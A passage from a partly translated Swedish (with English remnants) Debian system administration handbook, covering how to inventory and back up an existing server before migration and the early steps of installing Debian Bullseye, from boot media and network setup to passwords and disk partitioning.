Även om detta steg framstår som simpelt är det grundläggande. En seriös administratör förstår grundligt de huvudsakliga rollerna varje server har, men sådana roller kan förändras och ibland kan avancerade användare ha installerat ”vilda” tjänster. Att känna till att de existerar kommer åtminstone att låta dig avgöra vad du vill göra med dem, snarare än att bara ta bort dem på måfå.

Av denna anledning är det klokt att informera dina användare om projektet innan migration av servern påbörjas. För att hjälpa till att involvera dem i projektet kan det vara användbart att installera de mest vanliga fria mjukvara på deras arbetsstationer ett tag innan migrationen, vilka de senare kommer komma i kontakt med igen när väl migrationen till Debian är genomförd; LibreOffice och Mozilla programpaketen är bästa exemplen här.

3.2.1.1. Nätverk och Processer

Verktyget nmap (som ingår i paketet med samma namn) kommer snabbt identifiera internettjänster som huseras på en maskin kopplat till det lokala nätverket utan att ens behöva logga in på den. Allt som behövs är att köra följande kommando på en annan dator som är kopplad till samma nätverk:

$ nmap mirwiz Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-29 14:41 CEST Nmap scan report for mirwiz (192.168.1.104) Host is up (0.00062s latency). Not shown: 992 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5666/tcp open nrpe 9999/tcp open abyss Nmap done: 1 IP address (1 host up) scanned in 0.06 seconds

ALTERNATIVE Use ss to find the list of available services

On a Linux machine, the ss -anptu command will show the list of active or pending TCP sessions, as well as UDP ports on which running programs are listening. This facilitates identification of services offered on the network.

GÅ LÄNGREIPv6

Some network commands may work either with IPv4 (the default usually) or with IPv6. These include the nmap and ss commands, but also others, such as route or ip. The convention is that this behavior is enabled by the -6 command-line option.

If the server is a Unix machine offering shell accounts to users, it is interesting to determine if processes are executed in the background in the absence of their owner. The command ps auxw displays a list of all processes with their user identity. By checking this information against the output of the who or w commands, which give a list of logged in users, it is possible to identify rogue or undeclared servers or programs running in the background. Looking at crontabs (tables listing automatic actions scheduled by users) will often provide interesting information on functions fulfilled by the server (a complete explanation of cron is available in Avsnitt 9.7, ”Schemalägga uppgifter med cron and atd”).

I varje fall är det av yttersta vikt att göra en säkerhetskopia av din server: detta gör det möjligt att återställa information i händelse av att användare rapporterar specifika problem kopplade till migreringen.

3.2.2. Säkerhetskopiera Konfigurationen

Det är klokt att behålla konfigurationen av varje identifierad tjänst i syfte att kunna installera motsvarande på den uppdaterade servern. Absoluta minimum är således att skapa en säkerhetskopia över konfigurationsfilerna.

För en Unixmaskin kan konfigurationsfilerna oftast hittas under /etc/, men kan också befinna sig i en underkatalog till /usr/local/. Så är fallet om ett program installerats från källkoden, snarare än från ett paket. I enskilda fall kan man också finna dem under katalogen /opt/.

För tjänster som hanterar data (exempelvis databaser) är det starkt rekommenderat att exportera datan till ett standardformat som lätt kan importeras av den nya mjukvaran. Sådan format är oftast i form av text och dokumenterad: det kan exempelvis vara en SQL-dump från en databas, eller en LDIF-fil från en LDAP-server.

Figur 3.2. Säkerhetskopior av databaser

Varje servermjukvara är olik och det vore en omöjlighet att i detalj beskriva alla existerande fall. Jämför dokumentationen mellan den existerande och den nya mjukvaran för att identifiera vilka delar som kan exporteras (som således går att importera) och vilka som kommer kräva manuell hantering. Att läsa denna bok kommer förklara konfigurationen för de huvudsakliga programmen på en Linuxserver.

3.2.3. Att överta en redan existerande Debian server

För att effektivt ta över dess underhåll, bör man analysera en maskin som redan kör Debian.

Första filen som bör undersökas är /etc/debian_version, vilken vanligtvis innehåller versionsnumret på det installerade Debiansystemet (den är en del i paketet base-files). Om den anger \t kodnamn/sid så betyder det att systemet har uppdaterats med paket som kommer från någon av utvecklingsdistributionerna (antingen testing eller unstable).

Programmet apt-show-versions (från Debianpaketet med samma namn) kontrollerar listan över installerade paket och identifierar de tillgängliga versionerna. aptitude kan också användas för dessa ändamål, dock på ett lite mindre systematiskt sätt.

En titt på filen /etc/apt/sources.list (och katalogen /etc/apt/sources.list.d/) kommer ge en fingervisning varifrån de installerade Debianpaketen kommer ifrån. Ifall för många okända källor uppenbarar sig kan administratören välja att helt installera om datorns system för att kunna säkerställa optimal kompatibilitet med mjukvaran som tillhandahålls av Debian.

The sources.list file is often a good indicator: the majority of administrators keep, at least in comments, the list of APT sources that were previously used. But you should not forget that sources used in the past might have been deleted, and that some random packages grabbed on the Internet might have been manually installed (with the help of the dpkg command). In this case, the machine is misleading in its appearance of being a “standard” Debian system. This is why you should pay attention to any indication that will give away the presence of external packages (appearance of deb files in unusual directories, package version numbers with a special suffix indicating that it originated from outside the Debian project, such as ubuntu or lmde, etc.).

På samma sätt är det intressant att analysera innehållet i katalogen /usr/local/ vars syfte är att hussera program kompilerad och installerad manuellt. Att lista mjukvara installerad på detta sätt är lärorikt, eftersom det skapar frågetecken kring varför inte ett motsvarande Debianpaket har använts, om sådant paket existerar.

QUICK LOOK cruft/cruft-ng, debsums, and apt-show-versions

Paketen cruft och cruft-ng genererar en lista över tillgängliga filer som inte ägs av något paket. De har några filter (mer eller mindre effektiva och/eller uppdaterade) för att motverka att rapportera legitima filer (filer som genereras av Debianpaket, eller genererade konfigurationsfiler som inte hanteras av dpkg och så vidare).

Var försiktig med att i god tro ta bort allt som cruft och cruft-ng listar!

Paketet debsums gör det möjligt att kontrollera MD5-hashsummeringen av varje fil installerad av ett paket mot ett refferenshashsumma och kan på så vis hjälpa till att avgöra vilka filer som har ändrats (se TIPS Hitta ändrade filer). Var uppmärksam på att filer som skapas (filer som skapas av ett Debianpaket, eller genererade konfigurationsfiler som nte hanteras av dpkg och så vidare) är inte målgrupp för en sådan kontroll.

Paketet apt-show-versions tillhandahåller ett verktyg för att söka efter installerade paket som saknar källa för paket och kan hjälpa till att identifiera paket från 3:e part (se Avsnitt 6.7.3.1, ”Paket borttagna från Debians arkiv”).

3.2.4. Installera Debian

När väl all nödvändig information om den nuvarande servern har införskaffats kan vi stänga ner den och initiera installationen av Debian.

För att kunna välja lämplig version behöver vi känna till datorns arkitektur. Om det är en relativt ny PC är de mest sannolikt en amd64 (medan äldre PC tenderar att vara i386). Vid andra tillfällen kan man använda sig av tidigare installerad operativsystem för att lättare kunna ringa in korrekt arkitektur.

Tabell 3.1 är inte avsedd att vara heltäckande, men kan vara till hjälp. Notera dock att den listar arkitekturer för Debian som inte längre har support i nuvarande stabila utgåvan. I varje fall är originaldokumentationen för datorn ifråga den mest tillförlitliga källan till information i frågan.

Tabell 3.1. Matchning mellan operativsystem och arkitektur

Operativsystem | Arkitektur(er)
DEC Unix (OSF/1) | alpha, mipsel
HP Unix | ia64, hppa
IBM AIX | powerpc
Irix | mips
OS X | amd64, powerpc, i386
z/OS, MVS | s390x, s390
Solaris, SunOS | sparc, i386, m68k
Ultrix | mips
VMS | alpha
Windows 95/98/ME | i386
Windows NT/2000 | i386, alpha, ia64, mipsel
Windows XP / Windows Server 2008 | i386, amd64, ia64
Windows RT | armel, armhf, arm64
Windows Vista / Windows 7-8-10 | i386, amd64

HÅRDVARA 64 bitars PC mot 32 bitars PC

De flesta nyare datorer har en 64-bitars Intel- eller AMD-processor, vilka är kompatibla med äldre 32-bitars processor. Mjukvara kompilerad för "i386" fungerar därför även på en 64-bitars processor. Och andra sidan utnyttjas inte de nya processortypernas fulla potential när detta kompatibilitetsläge används. Detta är anledningen till varför Debian också stödjer "amd64" arkitekturen, vilket fungerar för nyare AMD-chip så väl som Intel "em64t" processorer (vilket inkluderar de flesta i Core-serien) då dessa är väldigt lika AMD64.

3.2.5. Installera och konfigurera dom valda tjänsterna

När väl Debian är installerad behöver vi individuellt installera och konfigurera varje tjänst som denna dator skall husera. Den nya konfigurationen behöver ta hänsyn till den tidigare för att säkerställa en smidig övergång. All information som samlats in under de två första stegen kommer vara till användning för att med framgång kunna slutföra denna del.

Figur 3.3. Installera dom valda tjänsterna

Innan du hoppar i denna övning med båda fötterna är det starkt rekommenderat att läsa igenom resterande delar av denna bok. När det väl är genomfört kommer du ha en mer utförlig förståelse över hur du kan konfigurera de förväntade tjänsterna.

Kapitel 4. Installation

För att kunna använda Debian behöver du först installera det på en dator; detta hanteras av installationsprogrammet för Debian. En komplett installation involverar många åtgärder. Detta kapitel syftar till att gå igenom dessa i kronologisk ordning.

TILLBAKA TILL GRUNDERNA En inhämntningskurs i bilagorna

Att installera en dator är alltid enklare om man är bekant vid hur den fungerar. Om du inte redan är det så kan du ta en sväng till Appendix B, Kort snabbkurs innan du fortsätter läsa detta kapitel.

The installer for Bullseye is based on debian-installer. Its modular design enables it to work in various scenarios and allows it to evolve and adapt to changes. Despite the limitations implied by the need to support a large number of architectures, this installer is very accessible to beginners, since it assists users at each stage of the process. Automatic hardware detection, guided partitioning, and graphical user interfaces have solved most of the problems that novices used to face in the early years of Debian.

Installation requires 256 MB of RAM (Random Access Memory) and at least 2 GB of hard drive space. All Falcot computers meet these criteria. Note, however, that these figures apply to the installation of a very limited system without a graphical desktop. A minimum of 2 GB of RAM and 10 GB of hard drive space are really recommended for a basic office desktop workstation.

BEWARE Upgrading from Buster

If you already have Debian Bullseye installed on your computer, this chapter is not for you! Unlike other distributions, Debian allows updating a system from one version to the next without having to reinstall the system. Reinstalling, in addition to being unnecessary, could even be dangerous, since it could remove already installed programs.

Uppdateringsprocessen finns beskriven i Avsnitt 6.7, ”Uppgradering från en stabil distribution till nästa”.

Upgrading from even older Debian systems directly is not supported. In this case you need to update gradually to the stable release which followed your Debian version, and so on. Previous versions of this book will assist you in that matter.

4.1. Installations Metoder

A Debian system can be installed from several types of media, as long as the BIOS/UEFI (see NOTERA UEFI, en modern ersättare för BIOS) of the machine allows it. You can for instance boot with a CD-ROM, a USB key, or even through a network.

4.1.1. Installera från en CD-skiva/DVD-skiva

Den mest använda installationsmetoden är från en CD-skiva (eller DVD-skiva vilket fungerar på samma sätt): datorn startar upp från skivan och installationsprogrammet tar sen över.

Various CD-ROM families have different purposes: netinst (network installation) contains the installer and the base Debian system; all other programs are then downloaded. Its “image”, that is the ISO-9660 filesystem that contains the exact contents of the disk, only takes up about 150 to 280 MB (depending on the architecture). On the other hand, the complete set offers all packages and allows for installation on a computer that has no Internet access; it requires around 19 DVD-ROMs (or 4 Blu-ray disks). There is no more official CD-ROMs set as they were really huge, rarely used and now most of the computers use DVD-ROMs as well as CD-ROMs. But the programs are divided among the disks according to their popularity and importance; the first disk will be sufficient for most installations, since it contains the most used software.

Det finns en sista typ av avbild, känd som mini.iso, vilket tillhandahålls som en bi-produkt till installationsprogrammet. Avbilden tillhandahåller enbart det absolut nödvändigaste för att konfigurera ett nätverk, allt annat laddas ner vid installation (inklussive delar av installationsprogramet, vilket gör att dessa avbilder vanligen slutar fungera som avsett när ny version av installationsprogramet släpps). Dessa avbilder kan hittas på normala Debian spegelservrar under katalogen dists/release/main/installer-arch/current/images/netbot/.

TIPS Skivor för flera arkitekturer

De flesta CD- och DVD-skivor fungerar bara på en specifik hårdvaruarkitektur. Om du önskar ladda ner hela avbildningar behöver du vara observant på att välja de som fungerar på den hårdvara som installationen önskas genomföras på.

Vissa CD-/DVD-skivor kan fungera på flera arkitekturer. Vi har därför en CD-skiva avbildning som kombinerar netinst avbildningen för akitekturerna i386 och amd64.

To acquire Debian CD-ROM images, you may, of course, download them and burn them to disk. You may also purchase them, and, thus, provide the project with a little financial support. Check the website to see the list of DVD-ROM image vendors and download sites.

→ https://www.debian.org/CD/

4.1.2. Starta upp från en USB-sticka

Efterssom de flesta datorer har möjlighet att starta upp från en USB-enhet så finns oftast möjligheten att installera Debian med en USB-sticka (portabel lagringsenhet i mindre format, flashminne).

Installationsmanualen förklarar hur man skapar en USB-sticka innehållande installationsprogrammet för Debian. Tillvägagångssättet är väldigt enkelt efterssom ISO avbilden för både i386 och amd64 processorarkitekturerna är hybridavbilder som kan startas upp från en CD-skiva lika väl som från en USB-sticka.

You must first identify the device name of the USB key (ex: /dev/sdb); the simplest means to do this is to check the messages issued by the kernel using the dmesg command. Then you must copy the previously downloaded ISO image (for example, debian-11.0.0-amd64-netinst.iso) with the command cat debian-11.0.0-amd64-netinst.iso >/dev/sdb; sync. This command requires administrator rights, since it accesses the USB key directly and blindly erases its content.

A more detailed explanation is available in the installation manual. Among other things, it describes an alternative method of preparing a USB key that is more complex, but that allows you to customize the installer's default options (those set in the kernel command line).

→ https://www.debian.org/releases/stable/amd64/ch04s03

4.1.3. Installation med hjälp av uppstart över nätverk

Många datorers BIOS system tillåter uppstart från ett nätverk genom att ladda ner en kärna och ett minimalt filsystemsavbild. Den här metoden (som har många namn, t.ex.PXE- eller TFTP-uppstart) kan rädda dagen ifall datorn saknar CD-spelare, eller om BIOS inte kan starta upp från andra media.

Den här installationsmetoden utförs i två steg. Första steget sker när datorn skall till att starta upp, då BIOS (eller nätverkskortet) utfärdar en BOOTP/DHCP begäran för att automatiskt erhålla en IP-adress. När en BOOTP eller DHCP server skickar tillbaka ett svar så inkluderar det ett filnamn så väl som nätverksinställningar. Efter att ha ställt in nätverkskonfigurationen så utfärdar klientdatorn en TFTP (Trivial Filöverföringsprotokoll) begäran om filen vars namn den tidigare erhöll. När filen erhållits så körs den som om den vore en uppstartsladdare. Den i sin tur startar upp Debians installationsprogram som om den kördes från en hårddisk, CD-skiva eller USB-sticka.

Alla detaljer kring den här metoden finns tillgänglig i installationsguiden (kapitel "Förbered filer för TFTP nätuppstart").

→ https://www.debian.org/releases/stable/amd64/ch05s01#boot-tftp-x86

.

→ https://www.debian.org/releases/stable/amd64/ch04s05

4.1.4. Andra Installationsmetoder

När vi behöver distribuera anpassade installationer för ett stort antal datorer så föredrar vi som regel en automatisk installationsmetod framför en manuell. Beroende på situation och hur komplicerad installationerna som skall utföras är så kan en FAI användas (Fullständigt Automatisk Installationsprogram som beskrivs i Avsnitt 12.3.1, ”Helautomatisk installation (FAI)”), eller till och med en anpassad fördefinierad installations-DVD (se Avsnitt 12.3.2, ”Preseeding Debian-Installer”).

It should also be noted that the installer can load and run an SSH server and thus provides the ability to install Debian remotely via an SSH session. The release notes also describe how to run the installer from an existing system using grub to replace it completely.

4.2. Installation, Steg för steg

4.2.1. Starta upp datorn och ladda Installationsprogramet

När väl BIOS har börjat starta upp från en CD- eller DVD-skiva så kommer uppstartsladdaren Isolinux's meny att framträda. I detta steg har Linuxkärnan inte ännu laddats; den här menyn möjliggör att kunna välja vilken kärna som datorn skall startas upp med samt ange möjliga parametrar som skall följa med kärnan vid uppstart.

För en normal installation så behöver du bara välja "installera" eller "installera med grafiskt gränssnitt" (med piltangenterna) och sen trycka Enter för att initiera den fortsatta installationsprocessen. Om DVD-skivan är för flera processorarkitekturer och din dator har en Intel eller AMD processor med 64-bit stöd så kommer de alternativen att installera 64-bitarsvarianten (amd64). Möjlighet att installera 32-bitarsvarianten finns tillgänglig i en avsedd undermeny ("32-bitars installationsmöjligheter"). Om din processor enbart stöder 32-bit så kommer du inte få detta val och menyvalen kommer installera 32-bitarsvarianten (i386).

UTVECKLA, 32 eller 64 bitar?

The fundamental difference between 32- and 64-bit systems is the size of memory addresses. In theory, a 32-bit system cannot work with more than 4 GB of RAM (2³² bytes). In practice, it is possible to work around this limitation by using the 686-pae kernel variant, so long as the processor handles the PAE (Physical Address Extension) functionality. Using it does have a notable influence on system performance, however. This is why it is useful to use the 64-bit mode on a server with a large amount of RAM.

For an office computer (where a few percent difference in performance is negligible), you must keep in mind that some proprietary programs are not available in 64-bit versions. It is technically possible to make them work on 64-bit systems, but you have to install the 32-bit versions of all the necessary libraries (see Avsnitt 5.4.5, ”Support för Multi-Instruktionsuppsättning”), and sometimes to use setarch or linux32 (in the util-linux package) to trick applications regarding the nature of the system.

I PRAKTIKEN Installation vid sidan av en existerande Windows system

Om datorn redan har Windows installerad så är det inte nödvändigt att ta bort installationen för att kunna installera Debian. Du kan ha båda systemen installerad på din dator samtidigt på olika hårddiskar eller partitioner och välja vilken du vill använda när datorn startas. Den här konfigurationen kallas oftast "flervalsstart" vilket installationsprogramet för Debian kan hjälpa dig att ordna. Dessa inställningar konfigureras under momenten för hårddispartitionering samt när uppstartsladdaren installeras (för mer information, se sidofälten I PRAKTIKEN Krympa en Windowspartition och VARNING Uppstartsladdare och flervalsstart).

If you already have a working Windows system, you can even avoid using a CD-ROM; Debian offers a Windows program that will download a light Debian installer and set it up on the hard disk. You then only need to reboot the computer and choose between normal Windows boot or booting the installation program. You can also find it on a dedicated website with a rather explicit title…

→ https://deb.debian.org/debian/tools/win32-loader/stable/

→ https://people.debian.org/~rmh/goodbye-microsoft/

TILLBAKA TILL GRUNDERNA Uppstartsladdare

Uppstartsladdaren är en lågnivåprogram som ansvarar för att starta upp Linuxkärnan direkt efter att BIOS lämnar över kontrollen. För att kunna utföra uppgiften behöver den ha åtkomst till den Linuxkärna som avses startas upp på hårddisken. På i386 och amd64 arkitekturer så finns det 2 st uppstartsladdare som är de vanligaste förekommande, den äldre av dem är LILO, GRUB är den modernare ersättaren. Isolinux och Syslinux är andra exempel som ofta används för att starta upp från flyttbara enheter.

Varje menyval döljer ett specifikt uppstartskommandolinje, som kan anpassas efter behov genom att TAB tangenten anges varefter linjen anpassas innan uppstart görs med den. Menyvalet för "Hjälp" visar den äldre kommandolinjegränsnittet, där F1 till F10 tangenterna visar olika avsnitt beskrivandes de många olika valmöjligheter som finns tillgänglig vid kommandoprompten. Du kommer dock sällan använda det här valet bortsett från vid väldigt särskillda tillfällen.

"Expertläget" (åtkomligt via menyvalet "Avancerade val") beskriver alla valbara konfigurationer i installationsprocessen och tillåter att navigera mellan olika steg i processen utan behöva följa den automatiska följden. Var uppmärksam dock, denna detaljerade läge kan vara förvirrande för vissa på grund av den enorma mängden av konfigurationsmöjligheter som den tillhandahåller.

The "rescue" mode, also accessible in the “Advanced options” menu, allows to recover a broken system or fix the bootloader. After presenting the first few screens of the installer, it will allow to enter a shell prompt in the file system you selected to perform any necessary actions, or allow to re-install the bootloader.

→ https://www.debian.org/releases/stable/amd64/ch08s06.en.html

Figur 4.1. Uppstartsbild

Once booted, the installation program guides you step by step throughout the process. This section presents each of these steps in detail. Here we follow the process of an installation from an amd64 DVD-ROM (more specifically, the RC3 version of the installer for Bullseye); netinst installations, as well as the final release of the installer, may look slightly different. We will also address installation in graphical mode, but the only difference from “classic” (text-mode) installation is in the visual appearance.

4.2.2. Val av språk

Installationsprogrammet är initialt på engelska, men i första steget tillåts användaren att välja vilket språk som skall användas under resterande steg i processen. Välja svenska, som ett exempel, kommer resultera i en fortsatt installation översatt till svenska (och ett installerat svenskspråkigt system som resultat). Det här valet används också för att definiera andra relevanta standardval i följande steg (tangentbordslayout till exempel).

TILLBAKA TILL GRUNDERNA Navigera med tangentbordet

Some steps in the installation process require you to enter information. These screens have several areas that may “have focus” (text entry area, checkboxes, list of choices, OK and Cancel buttons), and the TAB key allows you to move from one to another.

I grafiskt läge kan du använda muspekaren på samma sätt som du skulle göra på ett installerat grafiskt skrivbord.

Figur 4.2. Val av språk

4.2.3. Val av land

Andra steget består av att välja land. Kombinerat med val av språk så kommer denna information möjliggöra för programmet att erbjuda de mest relevanta tangenbordslayouterna. Detta val kommer även påverka konfigurationen av tidszoner. För Förenta Staterna så kommer en standard QWERTY tangentbord erbjudas, samt valmöjlighet mellan lämpliga tidszoner.

Figur 4.3. Val av land

4.2.4. Val av tangentbordslayout

Föreslagen "Amerikansk Engelsk" tangentbord motsvarar den vanliga QWERTY upplägget.

Figur 4.4. Val av tangentbord

4.2.5. Detektera Hårdvara

Det här steget är helt automatiskt för det mesta. Installationsprogramet detekterar din hårdvara och försöker att detektera CD-läsaren som används för att få åtkomst till dess innehåll. Den laddar de moduler som motsvarar de olika hårdvarukomponenter som har hittats, för att sen "montera" CD-skivan i syfte att kunna läsa den. Alla tidigare steg har befunnit sig inom uppstartsavbilden inkluderat på CD-skivan, en fil med begränsad storlek som laddas in i arbetsminnet av BIOS när den startar upp datorn från CD-skivan.

Installationsprogrammet kan hantera de flesta enheter, i synnerhet standard ATAPI kringutrustning (ibland kallad IDE och EIDE). Skulle detektionen av CD-läsare mot förmodan misslyckas så kommer installationsprogrammet att erbjuda möjligheten att ladda en kärnmodul (exempelvis från en USB-sticka) matchande CD-läsarenheten.

4.2.6. Laddar komponenter

Med CD-skivans innehåll nu tillgänglig så kommer installationsprogramet att ladda alla filer som behövs för att fortsätta dess arbete. Dessa filer inkluderar ytterligare drivrutiner för resterande hårdvara (i synnerhet för nätverkskort) så väl som installationsprogramets alla komponenter.

4.2.7. Detektera Nätverkshårdvara

This automatic step tries to identify the network card and load the corresponding module. If automatic detection fails, you can manually select the module to load. If no module works, it is possible to load a specific module from a removable device. This last solution is usually only needed if the appropriate driver is not included in the standard Linux kernel, but available elsewhere, such as the manufacturer's website or in firmware archives/packages.

→ https://www.debian.org/devel/debian-installer/#firmware_nonfree

Detta steget måste lyckas för att netinst installationer skall kunna fortsätta, då installationsprogrammet måste kunna ta hem Debian-paket från nätverket.

4.2.8. Konfigurera Nätverket

För att kunna automatisera processen så mycket som möjligt försöker installationsprogrammet först med en automatisk nätverkskonfiguration med DHCP (för IPv4) och med IPv6 nätverksutforskning. Om dessa skulle misslyckas erbjuds flera alternativ: försöka igen med en normal DHCP konfiguration, testa en DHCP konfiguration genom att deklarera maskinens namn, eller att manuellt konfigurera statiska nätverksparametrar.

Detta sista val kräver en IP-adress, subnätsmask, IP-adress för en potentiell nätsluss, maskinens namn samt namn för domänen.

TIP Konfiguration utan DHCP

If the local network is equipped with a DHCP server that you do not wish to use, because you prefer to define a static IP address for the machine during installation, you can add the netcfg/use_dhcp=false option when booting from the installation media. You just need to go to the desired menu entry by pressing the TAB key and add the desired option before pressing the Enter key.

VAR UPPMÄRKSAM Improvisera ej

Många lokala nätverksområden är baserad på en underförstådd antagande att alla maskiner inom dem kan bli betrodda, en ej adekvat konfiguration av en enskild dator kan ofta störa hela nätverket. Földaktligen, anslut ej din dator till ett nätverk utan att först stämma av med dess administratör om lämpliga inställningar (som exempel IP-adress, nätmask, rundsändningsadress).

4.2.9. Administratörslösenord

The super-user root account, reserved for the machine's administrator, is automatically created during installation; this is why a password is requested. The installer also asks for a confirmation of the password to prevent any input error, which would later be difficult to amend. Note that you can leave both fields empty if you want the root account to be disabled. In that case, the login for the root user will be deactivated and the first regular user — that will be created by the installer in the next step — will have administrative rights through sudo (see Avsnitt 8.9.4, ”Dela administratörsrättigheter”).

SÄKERHET Administratörslösenord

Rotanvändarens lösenord bör vara långt (12 tecken eller fler) och omöjlig att gissa. I sanning, alla datorer (och i än högre grad alla servrar) som är ansluten till internet är regelbundet måltavlor för automatiska uppkopplingsförsök med de mest uppenbara lösenorden. Ibland kan det även vara föremål för lexikonliknande attacker där flera olika kombinationer av ord och nummer testas som lösenord. Undvik att använda namn på barn eller föräldrar, födelsedatum, etc. Många av dina kollegor kan känna till dem och du kanske inte vill ge dem fri åtkomst till datorn ifråga.

Dessa anmärkningar är lika applicerbara för andra konton's lösenord, men konsekvenserna av ett äventyrat konto är mindre dramatiskt för användarkonton utan administrativa rättigheter.

Om inspirationen inte räcker till, tveka inte att använda en lösenordsgenerator, exempelvis pwgen (som kan hittas i programpaketet med samma namn).

Figur 4.5. Administratörslösenord

4.2.10. Skapa det Första Användarkontot

Debian påtvingar även skapande av ett normalt användarkonto så att administratören inte får den dåliga vanan av att alltid arbeta som rotanvändare. Denna försiktighetsprincip bygger på grundtesen att varje uppgift skall utföras med så få privilegier som möjligt utöver dem som krävs för uppgiften i syfte att minimera potentiella skador orsakad av den mänskliga faktorn. Detta är varför installationsprogramet kommer fråga efter fullständigt namn på första användaren, dennes användarnamn samt lösenord (som skall anges två gånger för att motverka risken för felskrivning).

Figur 4.6. Namn på den första användaren

4.2.11. Konfigurera Klockan

Om nätverket är tillgängligt kommer systemets interna klocka att uppdateras (som en engångshändelse) från en NTP server. På så sätt kommer tidsstämplarna i loggar vara korrekta redan från den första starten. För att säkerställa att systemets tid förblir korrekt under användande behövs en NTP demon konfigureras efter den första installationen (för mer information se Avsnitt 8.9.2, ”Synkronisering av tid”).

4.2.12. Hitta Hårddiskar och Andra Enheter

Detta steg hittar automatiskt de hårddiskar som kan användas för att installera Debian på. De kommer presenteras i nästa steg: partitionering.

4.2.13. Startar Partitioneringsverktyget

UPPLYSNING Användning av partitionering

Partitionering, ett oumbärligt steg i installationen, består av att dela upp de utrymmen som finns tillgängligt på hårddiskarna (varje underavdelning hädanefter refererad som "partition") i enlighet med den data som avses sparas på dem och syftet som datorn avses användas till. Detta steg inbegriper även att välja filsystem som skall användas. Samtliga av dessa val kommer att ha en påverkan på prestandan, datasäkerhet och administration av servern.

Steget att partitionera hårddiskar anses traditionellt sett vara det svåraste för nya användare. Det är nödvändigt att definiera de olika delarna av hårddiskarna (så kallade "partitioner") på vilka Linux filsystem och virtuellt minne (swap) kommer lagras på. Denna uppgift kan vara komplicerad om ett annat operativsystem som du avser behålla redan finns installerat på din dator. Du behöver i så fall försäkra dig om att du inte förändrar partitioner tillhörande det andra systemet (samt försäkrar dig om att ingen skada på systemets data åsamkas om du ändrar partitionernas storlek).

Som tur är har partitioneringsprogrammet ett "guidande" läge som rekomenderar vilka partitioner som användaren bör skapa — i de flesta fall kan du vara bekräfta programvarans förslag.

Figur 4.7. Val av partitionsstrategi

The first screen in the partitioning tool offers the choice of using an entire hard drive to create various partitions. For a (new) computer which will solely use Linux, this option is clearly the simplest, and you can choose the option “Guided - use entire disk”. If the computer has two hard drives for two operating systems, setting one drive for each is also a solution that can facilitate partitioning. In both of these cases, the next screen offers to choose the disk where Linux will be installed by selecting the corresponding entry (for example, “SCSI1 (0,0,0) (sda) - 53.7 GB ATA QEMU HARDDISK”). You then start guided partitioning.

Figur 4.8. Hårddisk att använda för guidad partitionering

Guidad partitionering kan också konfigurera LVM logiska volymer istället för vanliga partitioner (se nedan). Eftersom fortsättningen av operationen är densamma som den vi går igenom så kommer vi inte beskriva vidare valet "Guidad - använd hela hårddisken och konfigurera LVM" (krypterad eller icke).

Vid andra tillfällen när Debian skall installeras bland redan existerande partitioner erfordras manuell partitionering.

4.2.13.1. Guidad partitionering

Den guidade partitioneringsverktyget erbjuder 3 olika upplägg för partitionering avsedd för lite olika typer av användningsområden.

Figur 4.9. Guidad partitionering

Det första upplägget kallas "Alla filer i en partition". Hela linuxsystemets mappstruktur är sparat på en enda partition som då representerar systemets rotmapp /. Detta simpla och robusta partitioneringsupplägget är optimalt för personliga datorer samt datorer avsedda enbart för en användare. I verkligheten kommer dock två partitioner skapas, en som kommer innehålla operativsystemets data, den andra kommer användas som virtuellt minne (swap ).

Det andra upplägget, "Sepparat /home partition", liknar den första varianten men delar upp filstrukturen i två partitioner: en partition innehåller Linuxsystemet (/), den andra innehåller "hemkatalogerna" (det vill säga användardata i form av filer och undermappar tillgänglig under /home/).

Det sista partitionsupplägget som kallas "Separata partitioner för /home, /var och /tmp" är lämplig för servrar och datorer avsedda att användas av flera användare. Den delar upp filstrukturen på många partitioner: utöver partitioner för rot (/) och hemkatalogerna (/home) skapar den även separata partitioner för serverprogramsdata (/var) och temporära filer (/tmp). Denna uppdelning har många fördelar. Användare kan på så sätt inte låsa upp datorn genom att använda all ledig utrymme på hårddisken (de kan bara fylla upp /tmp och /home). Datan genererad av systemets demonprogram (i synnerhet loggar) kan inte längre äta upp all ledigt utrymme från resten av systemet.

TILLBAKA TILL GRUNDERNA Att välja ett filsystem

Ett filsystem definierar på vilket sätt din data är sparad på din hårddisk. Varje valbart filsystem har sina för- och nackdelar. Vissa är mer robusta medan andra är mer effektiva: om du vet vilka behov som du har är det lättare att välja filsystem. Flertalet jämförelser har gjorts; ReiserFS brukar generellt sett vara effektivare på att hantera många små filer; XFS och andra sidan hanterar ofta större filer bättre än andra. Ext4 som är standardvalet i Debian är en god kompromiss som bygger på de tre tidigare versionerna av filsystemet som historiskt har används med Linux (ext, ext2 och ext3). Ext4 överkommer vissa svagheter hos sin föregångare (ext3) och är synnerligen lämplig för hårddiskar med väldigt stor lagringskapacitet. Ett annat alternativ är att experimentera med det väldigt lovande filsystemet btrfs som erbjuder flertalet funktioner som tidigare krävdes LVM och/eller RAID konfiguration för.

Ett journalförande filsystem (exempelvis ext3, ext4, btrfs, reiserfs och xfs) tar extra åtgärder för att säkerställa att man kan återkomma till ett tidigare konsekvent tillstånd efter att ha upplevt ett en abrupt avbrott utan att behöva analysera hela hårddisken (vilket var fallet med filsystemet ext2). Denna funktion utförs genom att i en journal beskriva vad som skall göras innan de genomförs. Om utförandet blir avbrutet så kommer de på så vis vara möjligt att återupprepa utförandet genom journalen. Är faller omvänt att avbrottet sker när journalen skrivs så kommer den senaste ej kompletta inlägget att ignoreras: datan som skulle skrivas har kanske gått förlorad, men eftersom inget börjat skrivas till disk så är all data sammanhängande. Detta är varken mer eller mindre än en transaktionsmekanism som appliceras på filsystemet.

Efter stt ha valt partitionsupplägg räknar programmet ut ett förslag och presenterar de på skärmen, användaren kan sen modifiera förslaget om så behövs. Du kan till exempel välja ett annat filsystem om standardvalet (ext4) inte är tillämpligt. I de flesta fall är dock föreslagen partitionsupplägg sund och kan accepteras genom att välja "Slutför partitionering och skriv förändringar till hårddisk".

Figur 4.10. Bekräfta partitionering

4.2.13.2. Manuell Partitionering

Manuell partitionering tillåter större flexibilitet och möjliggör för användaren att välja syfte och storlek på varje partition. Vidare så är detta läge oundvikligt om du önskar använda dig av mjukvarukonfigurerad RAID.

I PRAKTIKEN Krympa en Windowspartition

För att kunna installera Debian bredvid ett existerande operativsystem (Windows som exempel) kommer du behöva tillgång till en viss mängd ledigt diskutrymme som inte används av det andra systemet för att kunna skapa de partitioner som Debian behöver. I de flesta fallen så innebär det att krympa en Windowspartition och återanvända frigjord diskutrymme.

